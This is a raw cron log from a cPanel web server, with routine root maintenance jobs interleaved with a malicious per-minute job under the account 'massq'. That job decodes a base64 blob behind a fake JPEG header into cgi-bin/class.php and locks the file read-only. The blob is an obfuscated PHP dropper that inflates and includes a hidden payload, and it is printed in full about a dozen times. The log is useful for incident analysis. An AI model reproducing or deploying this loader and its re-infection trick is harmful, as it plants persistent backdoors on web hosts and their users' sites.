Aug 30 23:04:01 server CROND[32282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:05:01 server CROND[32527]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:05:01 server CROND[32528]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 30 23:05:01 server CROND[32530]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 23:05:01 server CROND[32531]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 23:05:01 server CROND[32533]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:05:01 server CROND[32536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:05:01 server CROND[32534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:05:01 server CROND[32532]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 23:05:01 server CROND[32535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:06:01 server CROND[703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:06:01 server CROND[704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:06:01 server CROND[705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:07:01 server CROND[865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:07:01 server CROND[866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:07:01 server CROND[867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:08:01 server CROND[1007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:08:01 server CROND[1008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:08:01 server CROND[1009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:09:01 server CROND[1213]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 23:09:01 server CROND[1219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:09:01 server CROND[1221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:09:01 server CROND[1214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:10:01 server CROND[1553]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:10:01 server CROND[1554]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 23:10:01 server CROND[1556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:10:01 server CROND[1559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:10:01 server CROND[1560]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 23:10:01 server CROND[1562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:10:01 server CROND[1557]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 23:10:01 server CROND[1558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:11:01 server CROND[2392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:11:01 server CROND[2393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:11:01 server CROND[2394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:12:01 server CROND[2536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:12:01 server CROND[2538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:12:01 server CROND[2539]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 23:12:01 server CROND[2537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:13:01 server CROND[2708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:13:01 server CROND[2709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:13:01 server CROND[2710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:14:01 server CROND[2837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:14:01 server CROND[2838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:14:01 server CROND[2839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:15:01 server CROND[3119]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 23:15:01 server CROND[3124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:15:01 server CROND[3139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:15:01 server CROND[3143]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:15:01 server CROND[3141]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 23:15:01 server CROND[3142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:15:01 server CROND[3140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
